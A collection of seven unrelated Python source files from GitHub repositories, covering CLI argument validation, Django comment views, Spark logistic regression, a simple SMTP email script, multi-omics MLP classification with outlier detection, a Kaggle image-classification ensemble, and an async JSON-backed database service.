{"seq_id":"19096493717","text":"import re\nimport sys\nimport globals as glob\nfrom os.path import exists\n\n\nclass Clargs:\n    def __init__(self):\n        if sys.argv[0] != 'main.py':\n            print('Nonofficial execution.')\n        self.args = sys.argv[1:]\n\n    def is_valid_length(self) -> bool:\n        return len(self.args) == glob.ARGUMENT_LENGTH\n\n    def extract(self) -> None:\n        self.method = self.args[0]\n        self.strategy = self.args[1]\n        self.source = self.args[2]\n        self.solution_file = self.args[3]\n        self.stat_file = self.args[4]\n        self.filenames = [self.source, self.solution_file, self.stat_file]\n\n    def is_valid_method(self) -> bool:\n        return self.method in glob.METHODS\n\n    def is_valid_strategy(self) -> bool:\n        self.option = glob.METHOD_MAP[self.method]\n        return glob.STRATS_DICT[self.option]['val'](self.strategy)\n\n    def is_valid_files(self) -> bool:\n        pattern = re.compile(glob.FILE_RE, re.IGNORECASE)\n        val_name = all([re.fullmatch(pattern, f) for f in self.filenames])\n        exist = exists(self.source)\n\n        if not val_name:\n            print('Files have wrong pattern', self.filenames)\n\n        if not exist:\n            print('Input file does not exist')\n\n        return val_name and exist\n\n    def is_valid(self) -> bool:\n        if not self.is_valid_length():\n            print('Incorrect number of arguments')\n            return False\n        self.extract()\n\n        if not self.is_valid_method():\n            print('Incorrect method name')\n            return False\n\n        if not self.is_valid_strategy():\n            print('Incorrect strategy name')\n            return False\n\n        if self.is_valid_files():\n            return True\n        return False\n","repo_name":"Bart63/SISE","sub_path":"Fifteen/src/clargs.py","file_name":"clargs.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38620774536","text":"from django.shortcuts import render, reverse, redirect\nfrom django.views.decorators.http import require_POST, require_GET\nfrom django.template.defaultfilters import escape\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom .restfulAPI import restful\nfrom .decorators import authenticate_user\nfrom .models import Comment\nfrom .forms import CommentForm\nfrom apps.blogs.models import Blog\n\n\n# 保存评论内容\n@require_POST\ndef comment_viwe(request):\n    user = request.user\n    if user.is_authenticated:\n        form = CommentForm(request.POST)\n        if form.is_valid():\n            content = form.cleaned_data.get('content')\n            blog_pk = request.POST.get('blog_pk')\n            excape_content = escape(content)\n            username = user.username\n            user_pk = user.pk\n            try:\n                blog = Blog.objects.get(pk = blog_pk)\n                Comment.objects.create(auth=user, content=excape_content, blog=blog)\n                return restful.result(data={'content': excape_content,'username': username,'user_pk': user_pk})\n            except Exception as e:\n                print(e)\n                return restful.do_nothing(message='未知错误！')\n        else:\n            return restful.params_error(message='内容不能为空')\n    else:\n        return restful.un_signup(message='请先登录！')\n\n\n@require_GET\ndef get_comment_reply(request):\n    root_comment_pk = request.GET.get('root_comment_pk')\n    try:\n        comment = Comment.objects.get(pk = root_comment_pk)\n        son_comments = comment.root_comment.all()\n        if son_comments:\n            context = {}\n            for each_comment in son_comments:\n                context[each_comment.auth.username] = [each_comment.content, each_comment.date_time]\n            # context['son_comments'] =serializers.serialize('json',son_comments)\n            print(context)\n            return restful.result(data=context)\n        else:\n            return restful.do_nothing(message='该评论暂无回复！')\n\n    except ObjectDoesNotExist:\n        return restful.do_nothing(message='该评论不存在或已经删除！')\n\n\n@require_POST\n@authenticate_user\ndef reply_comment(request):\n    # 回复的comment_id 回复的user_id 回复内容\n    comment_id = request.POST.get('comment_id')\n    user = request.user\n    content = request.POST.get('content')\n    try:\n        parent_comment = Comment.objects.get(id=comment_id)\n        root_comemnt = parent_comment.root or parent_comment\n        try:\n            Comment.objects.create(parent=parent_comment, root=root_comemnt, auth=user, reply_auth=parent_comment.auth, content=content, blog=parent_comment.blog)\n            return restful.ok()\n        except Exception as e:\n            print(e)\n            print(type(e))\n            return restful.internal_error(message=e)\n    except ObjectDoesNotExist:\n        return restful.do_nothing(messag='没有找到该篇博客!')\n","repo_name":"zjunju/blog","sub_path":"apps/utils/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39781980284","text":"from pyspark import SparkContext\nimport pandas as pd\nimport numpy as np\nfrom functools import reduce\nfrom operator import add\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nfrom time import time\n\n# preprocess the csv file to get data matrix\ndef preprocessFile(filename):\n    frame = pd.read_csv(filename)\n    label = 'TenYearCHD'\n    variables = list(frame)\n    variables.remove(label)\n    train = frame[variables]\n    train = (train - train.mean()) / train.std()\n    train['biascol'] = 1\n    X = np.array(train)\n    y = np.array(frame[label]).reshape((-1, 1))\n    xy = np.concatenate([X, y], axis=-1).tolist()\n    return xy\n\ndef gradient (line, w):\n    y = np.array(line[-1])\n    x = np.array(line[:-1])\n    z = x.dot(w)\n    s = 1. / (1. + np.exp(-z) )\n    return x * (s - y)\n\ndef forward(line, w):\n    x = np.array(line[:-1])\n    z = x.dot(w)\n    return int(z > 0)\n\nsc = SparkContext()\nsc.setLogLevel('ERROR')\n\nxy = preprocessFile('heart_disease.csv')\ndata = sc.parallelize( xy ).cache()\nnumWeights = len(xy[0])-1\nm = len(xy)\nw = 2 * np.random.ranf(numWeights) - 1\n\nstart = time()\niter_times = []\nfor i in tqdm(range(100)):\n    w -= data.map( lambda m : gradient (m , w ) ).reduce( add ) / m\n    iter_times.append(time() - start)\n\nprint(\"Getting accuracy\")\npreds = np.array(list(map(lambda f: forward(f, w), xy)))\nactual = np.array(list(map(lambda x: x[-1], xy)))\nprint((preds == actual).mean())\nsc.stop()\n\nprint(\"Logging to sparktimes.txt\")\nwith open('sparktimes.txt', 'w') as file:\n    for num in iter_times:\n        file.write(str(num) + '\\n')\n\n","repo_name":"gautamjagdhish/distributed-systems-assignment","sub_path":"A5/170010031/spark_main.py","file_name":"spark_main.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23068714463","text":"#!/usr/bin/env python\r\n#coding=utf-8\r\n#邮件内置模块\r\nimport smtplib\r\n\r\nmail_server = 'localhost'\r\nmail_server_port = 25\r\nfrom_addr = '1161938933@qq.com'\r\nto_addr = 'apple_username@163.com'\r\n\r\n#要发送的头部格式\r\nfrom_header = 'From:%s\\r\\n' % from_addr\r\nto_header = 'To:%s\\r\\n\\r\\n' % to_addr\r\n\r\n#要发送的标题\r\nsubject_header = 'Subject:nothing is happend!'\r\ncontent = 'haha'\r\n\r\nemail_message = \"%s\\n%s\\n%s\\n\\n%s\" % (from_header,to_header,subject_header,content)\r\n\r\n#创建email的对象\r\ns = smtplib.SMTP(mail_server,mail_server_port)\r\ns.sendmail(from_addr,to_header,email_message)","repo_name":"SearchOldMan/python_demo","sub_path":"20161228/smtp_email.py","file_name":"smtp_email.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3304504369","text":"import matplotlib as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom sklearn import svm\nfrom sklearn.covariance import EllipticEnvelope\nfrom sklearn.decomposition import PCA\nfrom sklearn.ensemble import IsolationForest\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import LocalOutlierFactor\nfrom torch.utils.data.dataset import Dataset\n\nimport utils.custom_dataset\nfrom utils.Plot import plot_confusion_matrix\nfrom utils.Plot import plot_outliers\n\nnum_iterations = 50\nnum_features = 3\n\n\nclass MLP(nn.Module):\n    def __init__(self, input_size=num_features, hidden_size=20, output_size=5):\n        super(MLP, self).__init__()\n        self.fc1 = nn.Linear(input_size, hidden_size)\n        self.out = nn.Linear(hidden_size, output_size)\n        self.soft = nn.Softmax()\n\n    def forward(self, x):\n        output = self.fc1(x)\n        output = F.relu(output)\n        output = self.out(output)\n        return self.soft(output)\n\n    def loss(self, y_pred, target):\n        criterion = nn.CrossEntropyLoss()\n        return criterion(y_pred, target.long())\n\n\nseed = 1200\nannotation_path = \"../Data/data/preprocessed_annotation_global.csv\"\ny = pd.read_csv(annotation_path)[\"label\"]\nnames = y.astype('category').cat.categories\ny = y.astype('category').cat.codes\nmeth_path = \"../Data/data/preprocessed_Matrix_meth.csv\"\nmRNA_path = \"../Data/data/preprocessed_Matrix_miRNA_deseq_correct.csv\"\nmRNA_normalized_path = \"../Data/data/preprocessed_Matrix_mRNA_deseq_normalized_prot_coding_correct.csv\"\nfiles = [meth_path, mRNA_path, mRNA_normalized_path]\noutliers = [LocalOutlierFactor(novelty=True), IsolationForest(), EllipticEnvelope(random_state=0), svm.OneClassSVM()]\nfilenames = [\"meth\", \"mrna\", \"micro mrna\"]\nmodelnames = [\"mlp-local-outlier\", \"mlp-isolation-forest\", \"mlp-elliptic\", \"mlp-one-class\"]\nfor modelname, outlier in zip(modelnames, outliers):\n    for file, filename in zip(files, filenames):\n        with open('../Data/outputs/' + filename + '-bnn-output.txt', 'w') as f:\n            X = pd.read_csv(file, index_col=False, header=None)\n            if (filename == \"mrna\"):\n                X = pd.DataFrame(X[X.std().sort_values(ascending=False).head(1200).index].values.tolist())\n            X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=seed, stratify=y)\n            outlier_detector = outlier\n            pca = PCA(n_components=num_features)\n            X_train_transformed = pca.fit_transform(X_train)\n            X_test_transformed = pca.transform(X_test)\n            model = MLP()\n            outlier_detector.fit(X_train_transformed)\n            Not_Outliers = outlier_detector.predict(X_train_transformed)\n            X_train_transformed = X_train_transformed[Not_Outliers == 1]\n            y_train = y_train[Not_Outliers == 1]\n            Not_Outliers = outlier_detector.predict(X_test_transformed)\n            plot_outliers(X_test_transformed, Not_Outliers, X_train_transformed, modelname + filename + \"pca\")\n            X_test_transformed = X_test_transformed[Not_Outliers == 1]\n            y_test = y_test[Not_Outliers == 1]\n            optimizer = optim.Adam(model.parameters())\n\n            dataset = utils.custom_dataset.CustomDataset(X_train_transformed, y_train.to_numpy(),\n                                                         transform=utils.custom_dataset.ToTensor())\n            loader = torch.utils.data.DataLoader(dataset, batch_size=32, shuffle=True)\n\n            model.train()\n            loss = 0\n            for j in range(num_iterations):\n                loss = 0\n                for batch_id, data in enumerate(loader):\n                    # calculate the loss and take a gradient step\n                    pred = model(data[\"X\"].view(-1, data[\"X\"].shape[1]))\n                    loss = model.loss(pred, data[\"y\"])\n                    optimizer.zero_grad()\n                    loss.backward()\n                    optimizer.step()\n                normalizer_train = len(loader.dataset)\n                total_epoch_loss_train = loss.item() / normalizer_train\n\n                print(\"Epoch \", j, \" Loss \", total_epoch_loss_train)\n\n            print(filename)\n\n            num_samples = 10\n\n            model.eval()\n            print('Prediction when network is forced to predict')\n            correct = 0\n            total = 0\n            dataset = utils.custom_dataset.CustomDataset(X_test_transformed, y_test.to_numpy(),\n                                                         transform=utils.custom_dataset.ToTensor())\n            loader = torch.utils.data.DataLoader(dataset, batch_size=32)\n            probabilities = np.ndarray(shape=(0, 5))\n            true_labels = np.ndarray([])\n            for j, data in enumerate(loader):\n                images = data[\"X\"]\n                labels = data[\"y\"]\n                pred = model(data[\"X\"].view(-1, data[\"X\"].shape[1]))\n                probabilities = np.append(probabilities, pred.detach().numpy(), axis=0)\n                true_labels = np.append(true_labels, labels)\n                total += labels.size(0)\n                correct += (torch.from_numpy(np.argmax(pred.detach().numpy(), axis=1)) == labels).sum().item()\n            print(\"accuracy: %d %%\" % (100 * correct / total))\n            import pandas as pd\n\n            pd.DataFrame(probabilities).to_csv(\"../Data/outputs/pred-\" + modelname + filename + \".csv\")\n            pd.DataFrame(true_labels).to_csv(\"../Data/outputs/true-labels.csv\")\n            cnf_matrix = confusion_matrix(true_labels[1:], np.argmax(probabilities, axis=1))\n            print()\n            np.set_printoptions(precision=2)\n            # PlotDir non-normalized confusion matrix\n            plt.figure.Figure(figsize=(10, 10))\n\n            plot_confusion_matrix(cnf_matrix, title=modelname + filename, classes=names)\n\n            X2 = pd.read_csv(\"../Data/data/anomalies_preprocessed_Matrix_\" + filename + \".csv\", index_col=False,\n                             header=None)\n            y2 = pd.read_csv(\"../Data/data/anomalies_preprocessed_annotation_global.csv\")[\"label\"]\n            if filename == \"mrna\":\n                X2 = pd.DataFrame(X2[X2.std().sort_values(ascending=False).head(1200).index].values.tolist())\n            X_transformed = pca.transform(X2)\n            y_pred = outlier_detector.predict(X_transformed)\n            plot_outliers(X_transformed, y_pred, X_train_transformed, \"newdata-\" + modelname + \"-\" + filename + \"pca\")\n            y_pred[y_pred == -1] = 0\n            true_label = y2.astype('category').cat.codes.to_numpy().copy()\n            true_label[true_label == 0] = 1\n            cnf_matrix = confusion_matrix(true_label, y_pred)\n\n            print()\n            np.set_printoptions(precision=2)\n            # PlotDir non-normalized confusion matrix\n            plt.figure.Figure(figsize=(10, 10))\n            print(\"tot predicted\")\n            print((y_pred == 1).sum())\n            plot_confusion_matrix(cnf_matrix,\n                                  title=modelname + \"-anomalies-\" + filename,\n                                  classes=[\"predicted\", \"Unknown\"])\n","repo_name":"Bontempogianpaolo1/Consunsus-on-multi-omics","sub_path":"Classification/MLP_with_anomalie_detection.py","file_name":"MLP_with_anomalie_detection.py","file_ext":"py","file_size_in_byte":7204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"21479621174","text":"# coding: utf-8\n__author__ = 'ZFTurbo: https://kaggle.com/zfturbo, Weimin: https://kaggle.com/weimin'\n\nif __name__ == '__main__':\n    import os\n\n    gpu_use = (0,1)\n    print('GPU use: {}'.format(gpu_use))\n    os.environ[\"KERAS_BACKEND\"] = \"tensorflow\"\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0,1\"\n\nfrom a01_neural_nets import *\nfrom a02_common_training_structures import *\nfrom keras.applications.xception import preprocess_input as xception_preprocess_input\nfrom keras.applications.inception_resnet_v2 import preprocess_input as inception_resnet_preprocess_input\nimport sys \n\nPRECISION = 6\nEPS = 0.00001\n\ndef readLines(f):\n    with open(f, 'r') as f:\n        return f.read().split('\\n')\n\ndef process_tst_images(model_path, box_size, cache_path_test, preproc, is_weights=False, model_name=None):\n    from keras.models import load_model\n    from keras.optimizers import Adam\n    from keras.utils import multi_gpu_model\n\n    if not os.path.isdir(cache_path_test):\n        os.mkdir(cache_path_test)\n\n    restore_from_cache = True\n    if is_weights:\n        if model_name == 'zfturbo_inception_resnet':\n            model = get_model_inception_resnet_v2()\n            model.load_weights(model_path)\n\n        elif model_name == 'zfturbo_resnet':\n            model = get_model_resnet50_336()\n            model.load_weights(model_path)\n\n        elif model_name == 'weimin_inception_resnet':\n            model = get_model_inception_resnet_v2()\n            optim = Adam(lr=0.001)\n            model = multi_gpu_model(model, gpus=2)\n            model.compile(optimizer=optim, loss='binary_crossentropy', metrics=[f2beta_loss, fbeta])\n            model.load_weights(model_path)\n\n        elif model_name == 'weimin_xception':\n            model=get_model_xception() \n            optim = Adam(lr=0.001)\n            model = multi_gpu_model(model, gpus=2)\n            model.compile(optimizer=optim, loss='binary_crossentropy', metrics=[f2beta_loss, fbeta])\n            model.load_weights(model_path)\n\n        else:\n            print(\"Unknown model_name: %s\"%model_name)\n            return None\n        print(\"\\nUsing weights to load model: \\n%s loaded.\"%model_name)\n    else:\n        model = load_model(model_path, custom_objects={'f2beta_loss': f2beta_loss, 'fbeta': fbeta})\n        print(\"\\nUsing model architecture .h5 to load model: \\n%s loaded.\"%model_name)\n\n    test_files = glob.glob(TEST_IMAGES_PATH + '*.jpg')\n    print('Number of images to predict:', len(test_files))\n\n    for i, f in enumerate(sorted(test_files)):\n        id = os.path.basename(f)[:-4]\n        path = f\n\n        cache_path = cache_path_test + id + '.pkl'\n        if not os.path.isfile(cache_path) or restore_from_cache is False:\n            im_full_big = read_single_image(path)\n            im_full_big = cv2.resize(im_full_big, (box_size, box_size), cv2.INTER_LANCZOS4)\n\n            batch_images = []\n            batch_images.append(im_full_big.copy())\n            batch_images.append(im_full_big[:, ::-1, :].copy())\n            batch_images = np.array(batch_images, dtype=np.float32)\n            batch_images = preproc(batch_images)\n\n            preds = model.predict(batch_images)\n            preds[preds < EPS] = 0\n            preds = np.round(preds, PRECISION)\n            save_in_file(preds, cache_path)\n\ndef create_submission(folder_path, thr_arr, out_file):\n    index_arr_forward, index_arr_backward = get_classes_to_index_dicts()\n    out = open(out_file, 'w')\n    out.write('image_id,labels\\n')\n    test_files = glob.glob(TEST_IMAGES_PATH + '*.jpg')\n    #print('Test valid:', len(test_files))\n    for i, f in enumerate(test_files):\n        id = os.path.basename(f)[:-4]\n        cache_path = folder_path + id + '.pkl'\n        preds = load_from_file(cache_path)\n        preds = preds.mean(axis=0)\n        total = 0\n        out.write(id + ',')\n        for j in range(len(preds)):\n            if preds[j] >= thr_arr[j]:\n                out.write(index_arr_backward[j] + ' ')\n                total += 1\n        out.write('\\n')\n        # print('Go for {} {}. Stored: {}'.format(i, id, total))\n    out.close()\n\ndef voting_ensemble(subm_arr, out_path):\n    s = pd.read_csv(subm_arr[0])\n    s['labels_0'] = s['labels']\n    #print(len(s))\n    for i in range(1, len(subm_arr)):\n        s1 = pd.read_csv(subm_arr[i])\n        s1['labels_{}'.format(i)] = s1['labels']\n        s = s.merge(s1[['image_id', 'labels_{}'.format(i)]], on='image_id', how='left')\n        #print(s1.shape)\n    #print(len(s))\n\n    ## majority vote\n    limit = len(subm_arr) // 2\n\n    print('\\nmajority vote num threshold: {}\\n'.format(limit))\n    merged_labels = []\n    for index, row in s.iterrows():\n        res = dict()\n        for i in range(len(subm_arr)):\n            line = row['labels_{}'.format(i)]\n            if str(line) == 'nan':\n                continue\n            arr = line.strip().split(' ')\n            for a in arr:\n                if a in res:\n                    res[a] += 1\n                else:\n                    res[a] = 1\n\n        out_str = ''\n        for el in res:\n            if res[el] > limit:\n                out_str += el + ' '\n\n        # union for empty rows\n        if out_str == '':\n            temp_res = []\n            for i in range(len(subm_arr)):\n                if str(row['labels_{}'.format(i)]) != 'nan':\n                    for i in row['labels_{}'.format(i)].strip().split():\n                        temp_res.append(i)\n            temp_res = list(set(temp_res))\n            out_str = ' '.join(temp_res)\n\n        merged_labels.append(out_str)\n    s['labels'] = merged_labels\n\n    s[['image_id', 'labels']].to_csv(out_path, index=False)\n\n    return s[['image_id', 'labels']]\n\ndef voting_ensemble_mark_union(subm_arr, out_path):\n    s = pd.read_csv(subm_arr[0])\n    s['labels_0'] = s['labels']\n    #print(len(s))\n    for i in range(1, len(subm_arr)):\n        s1 = pd.read_csv(subm_arr[i])\n        s1['labels_{}'.format(i)] = s1['labels']\n        s = s.merge(s1[['image_id', 'labels_{}'.format(i)]], on='image_id', how='left')\n        #print(s1.shape)\n    #print(len(s))\n\n    ## majority vote\n    limit = len(subm_arr) // 2\n\n    print('\\nmajority vote num threshold: {}\\n'.format(limit))\n    merged_labels = []\n    use_union = []\n    for index, row in s.iterrows():\n        res = dict()\n        for i in range(len(subm_arr)):\n            line = row['labels_{}'.format(i)]\n            if str(line) == 'nan':\n                continue\n            arr = line.strip().split(' ')\n            for a in arr:\n                if a in res:\n                    res[a] += 1\n                else:\n                    res[a] = 1\n\n        out_str = ''\n        for el in res:\n            if res[el] > limit:\n                out_str += el + ' '\n\n        # union for empty rows\n        if out_str == '':\n            use_union.append(1)\n            temp_res = []\n            for i in range(len(subm_arr)):\n                if str(row['labels_{}'.format(i)]) != 'nan':\n                    for i in row['labels_{}'.format(i)].strip().split():\n                        temp_res.append(i)\n            temp_res = list(set(temp_res))\n            out_str = ' '.join(temp_res)\n        else:\n            use_union.append(0)\n\n        merged_labels.append(out_str)\n    s['labels'] = merged_labels\n    s['use_union'] = use_union\n\n    s[['image_id', 'labels', 'use_union']].to_csv(out_path, index=False)\n\n    return s[['image_id', 'labels', 'use_union']]\n\n\ndef fix_empty_rows(in_subm, out_subm):\n    s1 = pd.read_csv(in_subm)\n\n    s1_ids = s1['image_id'].values\n    s1_lbls = s1['labels'].values\n\n    new_ids = []\n    new_lbls = []\n    total_empty = 0 \n    for i in range(len(s1_ids)):\n        id1 = s1_ids[i]\n        lbl = s1_lbls[i]\n        if str(lbl) == 'nan':\n            total_empty += 1\n            lbl = '/m/01g317 /m/05s2s /m/07j7r'\n\n        new_ids.append(id1)\n        new_lbls.append(lbl)\n\n    t = pd.DataFrame({'image_id': new_ids, 'labels': new_lbls})\n    t.to_csv(out_subm, index=False)\n    print(\"Total empty rows: {}\".format(total_empty))\n\n\n\nif __name__ == '__main__':\n    start_time = time.time()\n\n    ## params to search in the for loop below \n    ## model / model weights file name,                  cache folder,                              threshold file name prefix,                   threshold points,     output file names,                img_dim, is_weights, preprocessing_fun,           model architecture string        \n    params = [\n        ['inception_resnet_v2_temp_320_weights.h5',       'cache_inception_resnet_v2_test/',        'thr_arr_inception_resnet_v2',                (0.01, 0.99, 1, 0.99),  'inception_resnet_v2_299.csv',    (299, True,  preprocess_input,                  'zfturbo_inception_resnet')], \n        ['resnet50_336_temp_488_weights.h5',              'cache_resnet50_test/',                   'thr_arr_resnet50_sh_336',                    (0.01, 0.99, 1, 0.99),  'resnet50_336.csv',               (336, True,  preprocess_input,                   'zfturbo_resnet')], \n        ['weights_new_xception_tlatest.h5',               'cache_xception_test/',                   'thr_arr_xception',                           (0.01, 0.99, 1, 0.99),  'xception.csv',                   (299, True,  xception_preprocess_input,          'weimin_xception')], \n        ['inception_resnet_model_oct_19_0.001_48_0.1.h5', 'cache_inception_resnet_version_1_test/', 'thr_arr_inception_resnet_version_1',         (0.01, 0.99, 1, 0.99),  'inception_resnet_version_1.csv', (299, True,  inception_resnet_preprocess_input,  'weimin_inception_resnet')], \n        ['inception_resnet_model_5.h5',                   'cache_inception_resnet_version_2_test/', 'thr_arr_inception_resnet_version_2',         (0.01, 0.99, 1, 0.99),  'inception_resnet_version_2.csv', (299, True,  inception_resnet_preprocess_input,  'weimin_inception_resnet')], \n        ['inception_resnet_model_Oct_31_v3_weights.h5',   'cache_inception_resnet_version_3_test/', 'thr_arr_inception_resnet_weimin_version_3',  (0.01, 0.99, 1, 0.99),  'inception_resnet_version_3.csv', (299, True,  inception_resnet_preprocess_input,  'weimin_inception_resnet')], \n        ['inception_resnet_weimin_version_4_weights.h5',  'cache_inception_resnet_version_4_test/', 'thr_arr_inception_resnet_weimin_version_4',  (0.01, 0.99, 1, 0.99),  'inception_resnet_version_4.csv', (299, True,  inception_resnet_preprocess_input,  'weimin_inception_resnet')],\n    ]\n\n    ## loop through each model to generate prediction on one set of threshold - this has to be run at once (just to generate those image preds cache for each model), in order to proceed for random search later on\n    ## get tuning label set for evaludation \n    #test_image_classes = get_classes_for_tst_images_dict()\n    #index_arr_forward, index_arr_backward = get_classes_to_index_dicts()\n    \n    ## get the index for special classes that don't exist in tuning label set \n    thr_0_9999 = load_from_file(OUTPUT_PATH+'thr_arr_xception_sp_0.01_ep_0.99_min_1_def_0.9999.pklz')\n    col_index_9999 = np.where(thr_0_9999==0.9999)[0]\n    \n    subm_arr = []\n    for ind, model_param in enumerate(params):\n        temp_models_path, temp_output_path, thre_prefix, thre_points, subm_path, process_params = model_param\n\n        model_path = MODELS_PATH + temp_models_path\n        cache_path = OUTPUT_PATH + temp_output_path\n        start_point, end_point, min_number_of_entries, default_value = thre_points\n        thr_path = OUTPUT_PATH + thre_prefix + '_sp_{}_ep_{}_min_{}_def_{}.pklz'.format(start_point, end_point,\n                                                                                        min_number_of_entries,\n                                                                                        default_value)\n        # for the three special models to be in range of 0.1-0.9\n        if temp_models_path == 'resnet50_336_temp_488_weights.h5':\n            thr_path = OUTPUT_PATH + thre_prefix + '_sp_{}_ep_{}_min_{}_def_{}.pklz'.format(0.1, 0.9,\n                                                                                            1,\n                                                                                            0.9) # 0.8\n        if temp_models_path == 'inception_resnet_model_Oct_31_v3_weights.h5':\n            thr_path = OUTPUT_PATH + thre_prefix + '_sp_{}_ep_{}_min_{}_def_{}.pklz'.format(0.1, 0.9,\n                                                                                            1,\n                                                                                            0.9) # 0.8\n        if temp_models_path == 'inception_resnet_weimin_version_4_weights.h5':\n            thr_path = OUTPUT_PATH + thre_prefix + '_sp_{}_ep_{}_min_{}_def_{}.pklz'.format(0.1, 0.9,\n                                                                                            3,\n                                                                                            0.9) # 0.9\n        #print('\\n\\n\\n', thr_path, '\\n\\n\\n')                                                                                                                     \n        \n        submit_path = SUBM_PATH + subm_path[:-4] + \"_thre_{}_{}_{}_{}.csv\".format(start_point, end_point, min_number_of_entries, default_value)\n        if temp_models_path == 'resnet50_336_temp_488_weights.h5':\n            submit_path = SUBM_PATH + subm_path[:-4] + \"_thre_{}_{}_{}_{}.csv\".format(0.1, 0.9, 1, 0.8)\n        if temp_models_path == 'inception_resnet_model_Oct_31_v3_weights.h5':\n            submit_path = SUBM_PATH + subm_path[:-4] + \"_thre_{}_{}_{}_{}.csv\".format(0.1, 0.9, 1, 0.8)\n        if temp_models_path == 'inception_resnet_weimin_version_4_weights.h5':\n            submit_path = SUBM_PATH + subm_path[:-4] + \"_thre_{}_{}_{}_{}.csv\".format(0.1, 0.9, 3, 0.9)\n                \n        subm_arr.append(submit_path)\n\n        #if os.path.exists(submit_path):\n        #    print(\"File {} already exists. Skipping creating submission for this model. \".format(submit_path))\n            ## evaluate LS for this model \n        #    s = pd.read_csv(submit_path)\n        #    score, median_counts, mean_counts = evalute_local(s, 'labels', test_image_classes, index_arr_forward)\n        #    print(\"Model {} scores {} median & mean counts of labels: {} {} for tuning label set. \\n\".format(temp_models_path, score, median_counts, mean_counts))\n        #    continue\n\n        process_tst_images(model_path, process_params[0], cache_path, process_params[2], is_weights=process_params[1], model_name=process_params[3])\n        \n        thr_arr = load_from_file(thr_path)\n\n        ## convert special classes to certain default values  \n        if temp_models_path == 'resnet50_336_temp_488_weights.h5':\n            thr_arr[col_index_9999] = 0.8 \n        if temp_models_path == 'inception_resnet_model_Oct_31_v3_weights.h5':\n            thr_arr[col_index_9999] = 0.8\n        if temp_models_path == 'inception_resnet_weimin_version_4_weights.h5':\n            thr_arr[col_index_9999] = 0.9\n                            \n        create_submission(cache_path, thr_arr, submit_path)\n\n        ## evaluate LS for this model \n        #s = pd.read_csv(submit_path)\n        #score, median_counts, mean_counts = evalute_local(s, 'labels', test_image_classes, index_arr_forward)\n        #print(\"Model {} scores {} median & mean counts of labels: {} {} for tuning label set. \\n\".format(temp_models_path, score, median_counts, mean_counts))\n        #print(\"Done for model {}\\n\".format(ind+1))\n\n    # Majority voting part\n    majority_voting_submission_path = SUBM_PATH + 'majority_voting_{}_models_v2.2.csv'.format(len(subm_arr))\n    s = voting_ensemble(subm_arr, majority_voting_submission_path)\n\n    ## evaludate the result locally \n    #score, median_counts, mean_counts = evalute_local(s, 'labels', test_image_classes, index_arr_forward)\n    #print(\"Score {} median & mean counts of labels: {} {} for tuning label set. \".format(score, median_counts, mean_counts))\n\n    # Fix empty rows\n    final_subm_path = SUBM_PATH + 'final_subm_stage_2_{}_models.csv'.format(len(subm_arr))\n    fix_empty_rows(majority_voting_submission_path, final_subm_path)\n\n    print('Time: {:.0f} sec'.format(time.time() - start_time))\n                                                    \n","repo_name":"aaxwaz/Inclusive-Image-Challenge-Winning-Solution","sub_path":"r40_final_inference_submit.py","file_name":"r40_final_inference_submit.py","file_ext":"py","file_size_in_byte":16214,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"25287690152","text":"from abc import ABC\nfrom typing import Generic\nfrom uuid import UUID\n\nfrom app.services.service_protocols.database_service_protocol import (\n    BMT,\n    DatabaseServiceProtocol,\n)\nfrom app.services.service_protocols.io_service_protocol import (\n    IOServiceProtocol,\n)\nfrom app.utils import json_utils\n\n\nclass JsonDatabaseService(DatabaseServiceProtocol[BMT], Generic[BMT], ABC):\n    def __init__(\n        self, io_service: IOServiceProtocol, model_type: type[BMT]\n    ) -> None:\n        self.model_type = model_type\n        self._io_service = io_service\n\n    async def get_all(self) -> list[BMT]:\n        return await self._get_data()\n\n    async def get(self, id_: UUID) -> BMT | None:\n        data = await self._get_data()\n        return next((item for item in data if item.id == id_), None)\n\n    async def create(self, new: BMT) -> None:\n        data = await self._get_data()\n\n        data.append(new)\n\n        await self._save_file(data)\n\n    async def delete(self, id_: UUID) -> None:\n        data = await self._get_data()\n\n        data = [item for item in data if item.id != id_]\n\n        await self._save_file(data)\n\n    async def put(self, id_: UUID, new: BMT) -> None:\n        data = await self._get_data()\n\n        for i, item in enumerate(data):\n            if item.id == id_:\n                data[i] = new\n                break\n\n        await self._save_file(data)\n\n    async def _get_data(self) -> list[BMT]:\n        files_contents = await self._io_service.read()\n\n        data = json_utils.loads(files_contents)\n\n        return [self.model_type(**item) for item in data]\n\n    async def _save_file(self, data: list) -> None:\n        file_contents = json_utils.dumps(data, indent=4)\n\n        await self._io_service.write(file_contents)\n","repo_name":"cojua8/todo-app","sub_path":"src/backend/app/services/json_database_service/json_database_service.py","file_name":"json_database_service.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
